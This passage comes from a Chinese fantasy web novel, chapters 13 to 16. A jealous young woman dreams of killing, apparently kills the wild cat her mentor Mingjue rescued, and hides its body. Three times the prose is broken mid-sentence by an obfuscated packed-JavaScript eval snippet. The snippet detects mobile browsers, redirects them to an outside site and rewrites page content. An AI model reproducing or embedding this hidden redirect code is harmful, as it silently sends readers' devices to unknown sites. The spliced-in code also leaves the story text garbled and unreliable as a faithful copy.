那段时间,她胸腔里仿佛关了一只小小的、不安分的雀鸟,扑棱着翅膀,想要歌唱,不受控制的想要朝着那轮清冷的月亮飞去。明决,明决......这个名字在她心尖默默滚过千遍万遍,每念一次,都带起一阵混合着甜蜜与微酸的战栗。他是这尘寂山的魂,是她灰暗世界里唯一的光,是她所有美好憧憬与幻梦的源头。 可是,这刚刚酝酿起的,像初酿果酒般醉人的氛围,被一阵不同寻常的动静打破了。 她刚从竹楼门口出来,便见明决从山道方向走过来,那双平日里执经卷抚琴弦的手中,此刻小心翼翼地捧着一团灰扑扑,毛茸茸的小东西。 雪闻笙脚步一顿,好奇地凝眸望去。 呦,原来明决手里捧着一只野狸子。 看它体型不大,似乎还没有完全成年,此刻小家伙软软地伏在明决的掌中,一条后腿不自然地弯曲着,皮毛上沾着暗红的血迹和泥土,原本应该机警灵动的眼睛紧紧闭着,它死了吗?她认真观察着,直到看见它的腹部还有微弱起伏,原来它还活着,只是受了伤。 明决径直走向平日晾晒药材的偏殿,那里光线充足,也备着一些常用的伤药。他将那只受伤的野狸子轻轻放在铺着干净软布的石台上,动作轻柔,像对待一件易碎的陶瓷。 雪闻笙不由自主地跟了过去,倚在门框边,屏息看着。 明决没有因为救治的只是一只山中随处可见的小野兽而有丝毫怠慢。他先是取来清水,用洁白的棉布蘸湿,极其耐心地,一点点清理着野狸子伤口周围的污垢和血痂。他的手指修长,动作稳定,每一次擦拭都又精准又轻柔,生怕弄疼了这只小小的生灵。 清理完毕,露出一道颇深的伤口,似乎是某种猛兽利爪造成的。明决眉头微蹙,取来金疮药,小心地撒在伤处。那野狸子似乎感到了疼痛,身体微微抽搐了一下,发出一声微弱的,如同呜咽般的哀鸣。 “莫怕。”明决低声开口,声音是他一贯的平稳,有一种安抚的力量。他用手掌轻轻地覆盖在野狸子没有受伤的背部,那掌心似乎有淡淡的温润气息流转,缓缓渡入小家伙体内。 野狸子颤抖的身体渐渐平复下来,甚至无意识地朝着他手掌的方向微微蹭了蹭,仿佛找到了依靠。 雪闻笙看着这一幕,像是被一根细小的针尖轻轻戳了一下,泛起一种酸酸涩涩的感觉。 他......他竟然对一只野狸子也这般温柔? 那专注的眼神,那轻柔的动作,那低沉的安抚......这些,难道不应该是独属于她的吗? 她看着他为野狸子仔细包扎伤口,用柔软的布条将伤腿固定好,又取来一小碟清水和捣碎混合了草药的食物,放在小家伙嘴边,耐心地等待着它恢复一点力气自行舔舐。 明决做这些事情的时候,神情专注而平和,仿佛在做一件与采摘花果,研读道经同等重要的事情。那种发自内心对生命的尊重与爱护,让他那清冷的面容似乎也柔和了几分,在灯火的映照下,有种无法言说的魅力。 可这魅力,此刻在雪闻笙眼中,却有些刺眼。 她忍不住撅起了嘴,心里暗暗嘀咕:不过是一只野狸子罢了,山里多得是,何必如此费心? 她只盼它伤好了赶紧走,回属于它的山林里去,不要再在这里......霸占着明决的关心与目光。 这时,明决处理完了所有事情,直起身,用一旁备好的清水净了手。他转过身,目光掠过倚在门边,神色有些郁郁的雪闻笙,没有在意她的那点小情绪,随口而言,声音像夜风拂过竹林:“万物有灵,众生皆苦。见其伤痛苦厄,力所能及,施以援手,不过是循本心而行,亦是体悟天地生生之德。” 他话语带着一种超脱物外的禅意,像在阐述一个再自然不过的道理。“这狸子虽微末,亦是天地所生,有其存在的道理。救它,非为它谢,亦非为我名,只是见了,便做了。如同日月照耀,不择善恶,雨水润泽,不分贵贱。此乃自然之道。” 雪闻笙听在耳朵里,却是一个字也没能听进心里去。她的全副心神,都还缠绕在那点说不清道不明的酸意里。什么万物有灵,什么生生之德,什么自然之道......她不懂,也不想懂。她只看到,他对那只野狸子很好,好得让她......心里不舒服。 下一刻,就在醋意翻腾的同时,一个更让她心惊的念头,像黑暗中骤然亮起的一道闪电,猛地劈中了她的脑海——明决此刻对待这只野狸子的态度......耐心,温和,尽责,带着居高临下的悲悯的关怀。 这神情,这举止...... 何其熟悉! 当初,他不也是这样,在漫天飞雪里将重伤垂死来历不明的她,带回这尘寂山的吗? 他救治她,调理她的身体,教她读书识字,照料她的起居......他所做的一切,与今日救治这只野狸子,又什么本质的不同吗? 都是“见其伤痛苦厄,力所能及,施以援手”? 都是“循本心而行,体悟天地生生之德”? 这个认知,像一盆带着冰碴的冷水,从头顶狠狠浇下,瞬间将她心中那些五彩斑斓的,关于“特殊”与“唯一”的幻想,冲刷得干干净净! 她猛然惊觉,在明决那浩瀚星空般博大,又如同千年寒冰般冷静的心里,她雪闻笙,与这只偶然救回的野狸子,与这药圃里需要精心照料的灵草,与这尘寂山上一石一木,或许根本就没有任何区别! 他救她,养她,教导她,并非因为她是“雪闻笙”,并非因为她有什么与众不同,仅仅是因为......他“见了”,他“力所能及”,他遵循着他的“道”! 他看待她的目光,那清冷的,理性的,带着审视与教导意味的目光,与方才他看着那只野狸子时,那悲悯,关怀的眼神,何其相似!那里面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892646|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可有半分......她暗自期盼的,属于男女之间的情愫? 没有。 一丝一毫都没有。 这个发现,让雪闻笙如坠冰窟。先前因为暗恋而生出的所有甜蜜,羞涩,憧憬,在这一刻,全都化作了尖锐的冰锥,狠狠刺穿着她的心脏。 所以,她那些辗转反侧的思念,那些小心翼翼的靠近,那些面红耳赤的悸动,那些关于未来不切实际的幻想......统统都只是她一个人的自作多情?一场盛大荒谬的独角戏? 在他眼中,她雪闻笙,终究也只不过是这尘寂山上,一件需要他履行“道义”和“责任”的......物品吗? 强烈的失落,委屈和不甘,化作藤蔓紧紧缠绕住她,让她几乎窒息。她开始钻牛角尖了,思绪陷入了一片混乱阴郁的泥沼。 她看着石台上那只及时得到救,现已经安然睡去的野狸子,觉得它无比碍眼。它凭什么能分走明决的注意力?凭什么能得到他片刻的温柔?她甚至恶意地想,若是它好不了了,若是它......这念头刚一升起,就把她自己吓了一跳!她怎么会产生如此恶毒的想法?她用力甩头,想要将这个可怕的念头驱散,心底也因为这个陌生的阴暗更加慌乱了。 “天色已晚,去歇息吧。” 明决的声音响起,打断了她纷乱的思绪。他已经收拾好了一切,灯火下,面容平静无波,好像刚才那番关于天地之道的言论,和救治一只小兽的插曲,都未曾在他心中留下任何涟漪。 他看了雪闻笙一眼,见她脸色有些苍白,眼神游离,只当她是累了,并未多想,转身便向自己的静居走去。 雪闻笙站在原地,看着他毫不留恋离去的背影,那素白的衣袍在夜色中渐渐模糊,仿佛随时会化作云雾消散。她张了张嘴,却发现自己什么声音也发不出来。 满腔的郁闷和酸楚,无处倾诉,也无法倾诉。 怎么办?跑过去跟着明决走吗? 不可能的。她不会那么做,也不敢那么做。 她默默地转身,走向了自己的房间,脚步沉重,再也没有了来时的轻盈。 窗外,月色清冷,一如明决的眼神。 屋内,少女隐秘的心事,还没有完全铺展开,就已经蒙上了一层挥之不去的阴翳。她第一次、清晰地意识到,她与他之间,横亘着的,或许不仅仅是身份,年龄,阅历的差距,更是一种......对世界,对情感截然不同的认知。 他像是俯瞰众生的仙人,心怀万物。 而她,只是万物之中,微不足道的一个,却偏偏生出了想要独占仙人,僭越而痴妄的心思。 这一夜,雪闻笙躺在床上辗转反侧,先前那些美好的憧憬似乎都成了讽刺。她对那只野狸子,对明决那番充满禅意的话,充满了不解与怨怼,沉浸在自己的牛角尖里,却独独忘了去深思,那“万物同尘”的背后,明决对她是否也藏着另一种形式的,广博而平等的......温柔呢。 14. 第 14 章 明决救回那只野狸子之后,便在偏厅的一角为它安置了一个舒适的草窝。 接下来的几日,他依旧如常清修,采药,制药,但总会抽出些许时间,去查看那只小兽的伤势恢复的情况,给它带些新鲜点的吃食,有时候是易于消化的野果,有时候是捣碎的肉糜。在明决悉心救治下,野狸子的腿伤渐愈,已经能蹒跚走动了,但是它并没有像雪闻笙暗自期盼的那样,养好了伤就迅速离去,或许是它产生了依赖不想走了,小家伙聪明着呢,时常在竹楼附近的草丛石缝间出没,偶尔还会再次得到明决投喂的一两颗浆果或清水。 雪闻笙将这一切都看在眼里,每一次明决俯下身,用修长如玉的手指将食物放在小家伙面前,用那种平静包容的目光注视着它进食时,雪闻笙都有种说不上来的感觉。 心里那份自身“无异于草木鸟兽”的顿悟,让她有了巨大的失落与苦闷,这些情绪像陈年的烈酒,在她心底愈加发酵起来,变得酸涩,沉重。 她依旧每日跟在明决身边,读书习字,照料药圃。表面上,她依旧是那个乖巧沉静的少女,只有她自己知道,这具柔驯外表心事重重的躯壳下,内心早已是翻江倒海。 她对明决的感情不再简单纯碎,变得复杂而矛盾。 爱慕依旧在心底疯狂滋长,缠绕着她每一寸呼吸,可那日野狸子带来的认知,像一根坚硬的刺,深深扎在心底,每一次心跳都牵扯出细密的疼痛和怨怼。她爱他清冷如月的气质,迷恋他理性克制的魅力,渴望着靠近那轮清冷的月,但怨怼也如影随形,怨他为何如此无知无觉,对她的满腔情愫视而不见,怨他为何如此博爱,万物平等,怨他待她与待一只狸子,一株草药并无本质区别的“慈悲"。 这种又爱又怨的两种极端情绪,反复撕扯着她的心。她无法对明决倾诉,也不懂得排解,只能死死封存在心底,郁结难舒,致使她变得愈加沉默寡言,进而开始影响她的日常起居了。 读书时,字句再难以入眼,习字时,笔下的墨迹总是洇开一团烦躁,就连侍弄那些她曾经无比珍视的药草,也显得有些心不在焉。 “闻笙,今日这“凝露花”似乎缺水了,叶缘已见干卷。”明决的声音在她身后响起。 雪闻笙正对着那株有些萎靡的花出神,闻言,手指微微一颤,险些碰掉了脆弱的花苞。她猛地回过神,低下头去掩饰住眼底翻涌的情绪,应道:“是,我......我这就去取水来。” “嗯。”明决应了一声,目光在她略显苍白和恍惚的脸上停留了一瞬,补充了一句,“心神不宁,则气机素乱。若觉疲累,可稍作歇息,凡事勿要强求。” 他的关心,本是基于医理与修养的考量。但听在雪闻笙耳中,更像是一种不带感情的评判,让她愈发觉得自己像个需要被纠正,被调理的......物件。 “我没事。”她几乎是咬着牙说出这三个字,然后匆匆转身去取水勺,背影透着一种僵硬。 明决看着她离去的方向,眸中掠过一丝疑虑。他能感觉到她近来的异常,情绪低沉,心神浮动,与往日那个虽偶有小性子,但总体明朗活泼的少女颇为不同。是修行遇到了瓶颈?还是...... 他想起寒洞之事,那日虽然没有过多追问,但洛逍的出现可能是个变数。但他没有深入探究,每个人皆有自身缘法,心魔需自渡,过度干涉,反而不美。 他的不过问,他的冷静,在雪闻笙看来,就是彻底的漠不关心。 白日在明决面前,她尚能勉强维持平静,可一旦回到房间独处,那沉甸甸的压抑感便排山倒海呼啸而来。 那些光怪陆离的噩梦,再次卷土重来,而且比以往任何时候都要清晰,都要残酷。 起初,依旧是那些混乱的片段,冲天火光中扭曲的人影,凄厉的惨叫与兵刃破风之声,充满原始诱惑的歌舞祭典,还有那些无处不在浓稠的血色。 雪闻笙对此依旧恐惧和排斥,每次惊醒,她都裹紧棉被蜷缩在床角,望着窗外清冷的月光,无比渴望明决那能安定人心的气息,又深知自己这些阴暗诡异的梦境,是绝对不敢让他知晓的秘密。 然而,不知从何时起,那份排斥与恐惧,开始悄然变质。 梦境中的血腥与暴戾,奇异地成为了一种另类的宣泄。当她沉浸在那些充满厮杀与呐喊的场景中时,白日里积压的委屈,怨愤,不甘,仿佛找到了一个突破口,随着梦境中那激烈的情感洪流,一同倾泻而出。 梦中是震耳的厮杀与哀嚎,一片被烈焰焚烧过半的古老村落。残垣断壁间,厮杀已近尾声。她看见那些容貌极其俊美艳丽的男女,穿着色彩斑斓却式样奇古的服饰,在火光与刀剑中穿梭,他们眼神狂热,拿着手中奇异的武器毫不留情地进行厮杀。那些被称为"名门正派”的人,在他们面前如同草芥般倒下,鲜血染红了土地,汇成了溪流。 她开始对梦中的情境习以为常。 刺鼻的血腥气,漫厉的惨叫声,生命消亡时的绝望,这些原本让她惊醒后冷汗涔涔的画面,渐渐变得不再那么难以忍受。 那是一种打破一切规则,无视所有束缚的疯狂。在梦里,没有明决那套“万物有灵”、“众生平等”的大道理,只有赤裸裸的弱肉强食,只有力量为尊的法则。这种法则,简单,直接,粗暴,却仿佛与她心底某种被长期压抑的、黑暗的冲动不谋而合。 以前梦中的情景时而模糊,时而清晰。 那一夜,她的梦境格外真切。 雪闻笙像出了窍的一抹幽魂,飘荡在战场的边缘。 她看见一个身着绛紧色长裙的女子,在一片被烈焰灼烧过的焦黑土地上亡命奔逃。身后是数个手持利剑,面目扭曲的正道修士,他们口中呼喝着“诛杀妖邪”、“为民除害”,眼神却像跗骨之蛆,死死盯着前方那曼妙窈窕绝代风华的背影。 那被追杀的异族女子,与雪闻笙梦中所见其他族人有些不同。她身上有一种混合着脆弱与坚韧的气质,即使衣衫破损,发丝凌乱,露出带着血痕的雪白肌肤,但她的脊背挺得笔直,脸上没有丝毫惧色,只有滔天的恨意与不屈。即便身处绝境,她周身依然散发着一种野性而高贵的气质,像一只濒死的凤凰,睥睨着围猎她的凡夫俗子。 “妖女!还不束手就擒!”一个道士厉声喝道,眼中尽是贪婪与淫邪,“交出催动圣剑的秘法,或可饶你一命! 那紫衣女子冷笑道:“正道?呸!不过是一群披着人皮的豺狼!想要什么秘法?” “敬酒不吃吃罚酒!拿下她!废了她的修为,看她还如何器张!”另一个道士狞笑着,挥剑便刺向女子的气海丹田。 “我看还是留活口吧!啧啧,这等绝色,就这么杀了,太可惜了!”另外几人也同时出手,剑光掌风,毫不留情地袭向女子周身要害,招式狠辣,还带着几分刻意折辱的意味,试图撕扯她本已破损的衣裙。 污言秽语夹杂着放肆浪荡的笑,像毒蛇一样钻进了雪闻笙的耳膜。 那个女子显然疲惫至极了,脚步虚浮,一边格挡一边后退,不慎被前面的一块焦木绊倒,重重摔在地上。身后的追兵们瞬间就围了上来,几双带着污浊欲望的手,朝着她抓去。女子眼中闪过一丝绝望,依旧昂着头,倔强地不肯屈服。 就在那一刻!一直旁观的雪闻笙,觉得一股说不上来的愤怒从心底最深处炸开了,不仅仅是对眼前这几个修士的愤怒,更是对所谓“正道”虚伪的憎恶,是对自身族群被追杀屠戮的悲愤,更是一种潜藏在血脉深处、对同族被侵犯与压迫最原始,最直接的反击欲望!这些自诩正道的人,以多欺少,手段卑劣!他们凭什么?!凭什么这样对待一个女子?!凭什么这样对待她的......族人? 族人?这个念头模糊地一闪而过。 对,他们都是她的族人,他们是一体的! 就在那道士的剑尖即将再次刺入女子身体的瞬间,暴戾之气像挣脱了牢笼的凶兽,她不再是旁观者! 梦境中,她的目光快速锁定了地上半截沾染着暗红血迹的残剑,那剑身锈迹斑斑,刃口残缺,像极了他们异族如今破败的命运。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892647|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “住手!” 没有思考,没有犹豫,仿佛是一种刻在骨子里的本能。 她抓起那截残剑,体内一股陌生强大的力量汹涌而出,灌注于手臂,朝着离那女子最近,笑得最猖狂的一个修士,狠狠刺了下去! 她动作快如闪电,带着凌厉残酷的精准,残剑划出一道凄艳的血色弧线。 “噗——”一声,沉闷的利刃切入血肉的声响,在喧嚣的战场上显得并不起眼,根本无人在意这里发生了什么。 温热的液体,溅上了她的脸颊,带着浓重的铁锈味。 时间仿佛在这一刻凝固了,她握着仍在滴血的残剑,站在原地,微微喘息着。脸上沾染着敌人的鲜血,像雪地里绽开的红梅,妖异而夺目。 然而,预想中的恐惧与恶心并没有到来。相反,她感受到的是一种前所未有的--快感!像电流一样窜遍了全身。 一种主宰他人生死,掌控局面,至高无上的感觉! 一种将连日来的苦闷、压抑、委屈、妒,全都通过这狠绝的一剑,彻底宣泄出去的酣畅淋漓! 梦中的雪闻笙清晰地有了近乎真实的手感,残剑破开衣物,撕裂皮肉,撞碎骨骼,最终深深没入那温热的躯体,一股滚烫的,带着腥气的液体,溅在她的手背和脸颊上。 那名修士的笑僵在脸上,满是惊愕,他张着嘴想喊叫什么,眼神中的光芒迅速黯淡了下去,然后扑倒在地,死了。 她低头看着地上的尸体,又看了看手中滴血的残剑,然后,伸出舌尖,轻轻舔舐了一下溅到唇边,那一抹带着腥甜的血液。 她以前的眼眸清澈灵动,此刻像寒潭,映着梦中的血色月光,里面燃烧着野性,妖娆的火焰。 接着,她笑了。 嘴角微微上扬。 原来......这才是她。 她觉得一直束缚着她的无形枷锁,在这一刻被打破了。那种感觉很神奇,她无法用语言描述,比她偷偷凝视明决时的心跳加速,比她暗自憧憬未来时的甜蜜幻想,都要强烈! 这才是她雪闻笙,或者说,是她血脉中隐藏的真正面目。 周围剩下的修士们反应过来,惊怒交加地看向这个突然出现,手段狠辣的绝色少女。 而那个紫衣女子,在震惊过后,看向雪闻笙的目光很是复杂。 有些惊诧,还有一种仿佛找到同类的隐秘激动。 雪闻笙没有再理会他们,依旧沉浸在快感中。这里不再是需要抗拒的噩梦,而是她释放真实自我,寻求力量与慰藉的乐园。 现实中的苦闷越是难熬,梦中的血色狂欢就越是诱人。她站在尸骸与鲜血之间,手持残剑,如同一朵在幽冥绽放的曼珠沙华,美丽,致命。 然后,梦境中的场景开始逐渐模糊,慢慢崩塌,接着恢复平静,彻底烟消云散了。 尘寂山的夜,静悄悄的。 雪闻笙睁开眼睛,慢慢的从床上坐起来,额头上细细密密全是冷汗。她望着窗外,熟悉的月色依旧清冷,熟悉的屋内一片寂静。 她忽然想到了什么,抬起自己的手,在月光下仔细看着,确认上面干干净净,并没有梦中的血迹才松了口气。可那种紧握残剑,感受生命在指尖流逝的触感,那种力量奔涌,快感巅峰的战栗,却无比真实地残留着。 这一次的梦境过后,她没有恐惧,没有后怕,反而觉得空虚,还有......一丝隐秘的渴望。 她拥着被子重新躺下去,闭上眼睛,放松身心,不再抗拒即将再次袭来的睡意。 她知道,她沉沦了。 沉沦在这血脉赋予她的,黑暗又强大的力量幻觉之中。 而远在静室之中,潜心清修的明决,于定中微微蹙了蹙眉。他隐约感觉到,这尘寂山的清气之中,似乎混入了一丝不祥的戾气。但是那感觉极淡,稍纵即逝,如同错觉,他再寻,也找不到丝毫踪迹。 他缓缓睁开眼,望向雪闻笙房间的方向,眼眸中掠过一丝疑虑,但终究,一切的一切再次归于沉寂中去了。 15. 第 15 章 晨曦刺破云层,透过窗户唤醒了床榻上的雪闻笙。 她睁开眼,瞳孔一动不动盯着上方虚空,有一瞬间的怔楞。刚一起身,就觉得头痛欲裂,昨夜梦境中的细节像落了潮的水一样慢慢退去,留下的是满目狼藉的心岸,简直令人作呕。 神志归位后,她清醒了,现在心里好懊悔。 她怎么会......怎么会沉迷于那种暴虐的感觉呢?这与明决平日教导她的“仁心”、“慈悲”、“敬畏生命”背道而驰,完全是南辕北辙! 她记得,他曾经用清冷平稳的声音为她讲解:“天道无亲,常与善人......” 她记得,他救治野狸子时悲悯的眼神犹在眼前:“万物有灵,众生皆苦......” 可她做了些什么?在梦里,她拿起了屠刀! 一股强烈的自我厌恶席卷了她,她觉得自己的灵魂被玷污了,她对不起明决这么多年对她的悉心教导,不配留在这干净神圣的尘寂山。 负罪感让她魂不守舍,起床手脚都有些发软,洗漱时望着铜盆中自己那张绝美的脸庞,她抬手摸了一下,倒影里看不真切,一切都蒙上了一层阴影,忽然觉得自己的脸无比陌生。 雪闻笙乏力在桌子上趴了一会儿,还是觉得闷,就这样,她浑浑噩噩地走出房间,到外面吹了吹风,此刻腹中毫无食欲,便想去药圃做些事情,试图用劳作来麻痹自己,驱散那些梦魇。 她走在小路上,经过偏殿时,心中微动,下意识地朝野狸子的草窝看了一眼。 小家伙正趴在草堆上舔手呢,恢复得真不错,来的时候后腿被撕咬的鲜血淋淋的,雪闻笙都以为它要终生残废不会好了,没想到现在这么利落,它的毛发细腻有光泽,圆溜溜的眼睛乌黑透亮,聪明极了,远远的看见她来了,“嗖”地一下就躲进窝里去了,差点打翻草窝旁边的那碟肉糜,那一碗清水也不安的泛起了阵阵涟漪。 这些都是明决为它准备的。 雪闻笙脚步顿了顿,早先她心中还有一点明决对它关怀而生出的酸涩,如今已经被梦里更大的负罪感淹没了,此刻看着这个小生命,生出一种同病相怜的复杂情绪——她跟它多么相像,都是被明决所救,依存于他的慈悲而活。 她忽然有点可怜它了。 鬼使神差地,她走了过去,想看看那个小东西。或许,也帮忙照料一下它,能让她感觉自己并非全然无可救药,还在做着符合明决期望的事情,她也有着一颗温柔善良的心。 她来到草窝边上,蹲下身子,望着小野狸,想学着明决的样子去碰碰那小家伙的脑袋,示以友好。可是,她之前没有照顾这种小动物的经验,动作难免有些僵硬,实在不知道该从哪里下手,心神不宁之下,指尖不经意间碰翻了旁边那一碟盛着肉糜的小食碗。 “哐当”一声轻响,陶碗滚落在地,摔成了两半,肉糜也洒了一地。 这一番惊吓着实不小,立刻就惊到了本就不安,默默警惕的野狸子! 它猛地抬起头,兽瞳瞬间收缩,又陡然增大,迸发出危险的野性,闪着被侵犯领地的凶光,喉咙里发出低沉的“呜呜”声,此刻它觉得对面的人充满了威胁。 何止野狸子受到了惊吓,雪闻笙也同样始料未及,被它这突变的凶相吓了一跳,下意识地就想缩回手,像个做错了事的小孩子,解释道:“对不住,我没有恶意,我只是来......” 她话刚说了一半,那野狸子后腿猛地一蹬,带着一股野兽受伤时特有的疯狂与暴虐,像灰色闪电一样朝她伸出的手扑咬过来,平日里它依赖着明决,显得非常温驯顺和,可现在它根本不讲道理,视雪闻笙为天敌,露出的尖尖獠牙闪烁着森白的光! 变故发生得太快了,雪闻笙根本来不及思考,在那一口獠牙马上要触碰到她肌肤的紧要关头,一种源自昨夜梦境,深植于血脉中,对威胁的本能反击,像被点燃的炸药轰然爆发了。 她甚至不知道自己到底做了什么动作,只觉得一股灼热的气流自丹田涌起,瞬间贯注于手臂,手腕一翻,掌心下意识地向前一推——这个动作不是普通的推拒,而是蕴含了她自己都没有察觉,带着破坏力的阴寒气息。 “砰”一声闷响。 那一只扑在半空的灰色小身影,被一股无形的力量击中,发出一声短促的哀鸣,倒飞出去,重重撞在了后面的石壁上,然后软软地滑落下来,瘫在地上一动不动了。 雪闻笙面前,没了小野狸,只剩下食碗碎片和洒落的肉糜,还有......寂静。 她僵在原地,伸出的手还停留在半空,保持着推出的姿势,她怔怔地看着那只不再动弹的野狸子,像极了在梦里她杀死的那名修士。 望着它身下慢慢洇开了一小滩暗红,雪闻笙大脑一片空白,天旋地转。 “不是,不是我,不是我做的!啊!”雪闻笙陡然惊醒,差点跌落在地,发现自己此刻身处卧室时,她才确定,是自己做恶梦了。 刚刚,她趴在桌子上睡着了。 原来是梦,还好是个梦。 看看外面天色尚早,她倒了一杯凉茶喝下去,觉得自己清醒多了,但心里还是觉得有些不妥,老心神不定的,她决定去看看那只野狸子,以后好好照顾它。 可等她到了偏殿草窝旁边,被眼前所见的情景惊呆了。 草窝像是遭遇了什么大型野兽的攻击,乱七八糟的散成一团,小野狸躺在草团上一动不动。 “怎么回事?不......不可能的......”雪闻笙喃喃自语,声音颤抖得不成样子。她一步步挪过去,蹲下身,伸出手指,想要去探一探那小东西的鼻息。 指尖触碰到的是温热带着鲜血,再无生机的柔软皮毛。 它死了。 她扭头看着打翻在地的肉糜和清水陶碗,觉得有种似曾相识的熟悉感,这......跟她梦里的情形几乎一模一样。 为什么?到底发生了什么? 这些是她做的吗?不可能的。 如果不是她,那会是谁? 几息之后,她才反应过来,难道,她真的......杀了它? 她杀了明决亲手救回来,悉心照料的那只野狸子? 她在梦里杀了它。 她怎么都没有办法相信这个事实,自己怎么可能会做出这种事?她清清楚楚记得,当时她明明只是......只是下意识地自卫,她本心是想亲近它,照顾它的,根本没想杀它! 她的情绪开始变得很激动,一种诡异,混杂着恐惧与某种隐秘的兴奋,让她浑身开始发抖。 又是那种感觉,虽然远不及梦中那般强烈,但那一瞬间,力量奔涌而出、掌控生死的感觉,再次清晰地烙印在她的感官里!这感觉让她战栗,让她恐慌,也让她心底某个黑暗的角落,发出一声满足的喟叹。 同时,她也害怕,无边的恐惧席卷而来,比之前任何一次都要强烈!她杀了明决救下的生灵!在这神圣的尘寂山上,在他眼皮底下!他若是知道了......他若是知道了会怎样? 他会用怎样失望,冰冷、甚至是厌恶的眼神看她? 他会不会觉得她天性残忍,无可救药? 他会不会生气......将她赶出尘寂山?从此以后再也不愿意见到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892648|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 一想到明决可能露出的那种眼神,可能说出的决绝话语,雪闻笙就觉得心脏剧痛,痛得无法呼吸,她恐惧得几乎要窒息了! 几种极端的情感在她心中疯狂冲撞、撕扯。负罪感、不敢置信、隐秘的激动、无边的恐惧......它们交织成一张巨大的网,将她牢牢困住,几乎要将她逼疯! 她猛地缩回手,仿佛那只野狸子的尸体烫手一般。她踉跄着后退几步,背靠着栏杆,才勉强支撑住发软的身体。 怎么办? 现在该怎么办? 毁尸灭迹吗?反正野狸子早就已经死透了。 把它埋了!或者干脆远远的扔到深山里去,眼不见为净!只要不被明决发现就行......只要他不知道......就当什么事情也没有发生过。 这个念头像黑暗中滋生的毒蔓,迅速覆盖了她的理智。她慌乱地四下张望,寻找可以掩盖这一切的工具。可是,当她目光再次触及那具小小的、毫无生气的尸体时,眼前浮现的,全是明决救治它时的神情,专注有平和,还有他说的那句“万物有灵,众生皆苦”,像警钟一样“铛铛铛”在她脑海中轰鸣作响! 她在干什么!伤害了无辜生灵,已经做错了事,怎么能一错再错?还企图掩盖罪行,岂不是更加卑劣?也只会更对不起明决对她的教导。 可是......如果坦白...... 不!不能坦白!她承受不起那个后果!她不能失去明决!哪怕只是这样远远地看着他,守在这尘寂山,她也绝不能失去他! 内心不停做着激烈的挣扎,她精疲力尽,脸色苍白如纸,额头上沁出细密的冷汗,她死死咬住下唇,几乎要咬出血来,才能抑制住那几乎要脱口而出的尖叫与哭泣。 最终,对失去明决的恐惧压倒了一切。 她做出了选择,深吸一口气,压下心中翻腾的惊涛骇浪,用颤抖的手,迅速收拾起地上的碎片和污渍。然后,她跑回房间,找来一块干净的布,强忍着让她头皮发麻的触感,将那只野狸子小小的尸体包裹起来。 她的动作很快,带着一种做贼心虚的仓促。她不敢多看那个布包一眼,仿佛里面包裹的不是一只死去的野兽,而是她刚刚亲手扼杀的、自己灵魂中的一点纯白。 她必须找个地方,尽快把它处理掉。 必须在明决发现之前。 她像一缕游魂,悄无声息地溜出偏殿,朝着后山草木最深、人迹罕至的地方疾步走去。太阳逐渐升高,阳光暖暖照在她身上,却驱不散彻骨的寒意。手中的布包明明轻飘飘的,抱在怀里却仿佛有千钧之重,压得她喘不过气,她觉得自己走的每一步都像踩在刀尖上。 雪闻笙亲手刨了个小土坑,把死去的小野狸轻轻安置在里面,然后抓起一把轻土,一点一点把它埋没,其实她很想哭的,于是拼命眨吧几下眼睛,却怎么都哭不出来,便索性放弃了。 她完全不知道的是,在她离开后不久,一袭素白的身影出现在了偏殿门口。 明决露台清修结束之后,照例来看望那只野狸子日常恢复情况。 他来到偏殿,目光扫过空荡荡的草窝,有些诧异,实在太安静了。仔细查看就能发现空地上虽然被匆忙清理过,却依旧残留着些许痕迹。空气中,似乎还弥漫着一丝极淡,没有散尽的......血腥气。 他默了一瞬,眼眸缓缓掠过这方寸之地,最终,定格在草窝旁一块不容易被察觉的泥土上,这里颜色略深一些,似乎曾经被什么温热的东西浸染过。 他眉头微微蹙了起来,周遭的空气也随着他这细微的动作,凝滞了几分。 16. 第 16 章 雪闻笙几乎是逃也似的回到了竹楼。后山小路潮湿泥泞,草木深处的泥土还沾在她的裙角和指尖,带着一股新翻的土腥气。 她心情依旧无法平复,回来之后就将自己反锁在房内,背靠着门板,心脏仍在疯狂跳动,一下一下撞击着胸腔。 她到现在都没有搞清楚,事情是怎么发生的,自己究竟都做过什么? 但她知道自己亲手埋葬了一个生命,一个明决亲手挽救的生命,这是不可否认的事实。她害怕看到明决,怕从他眼中看到任何一丝可能出现的质疑。她甚至不敢去想象,如果他问起那只野狸子的去向,她该如何应对。 于是她选择逃避,把自己关在房间不出去,可能,潜意识里也是在静静地等待着明决对她的宣判吧。 然而,时间一点点流逝,事情并没有像她预期那样发生。 庭院外,药圃中,一切如常。 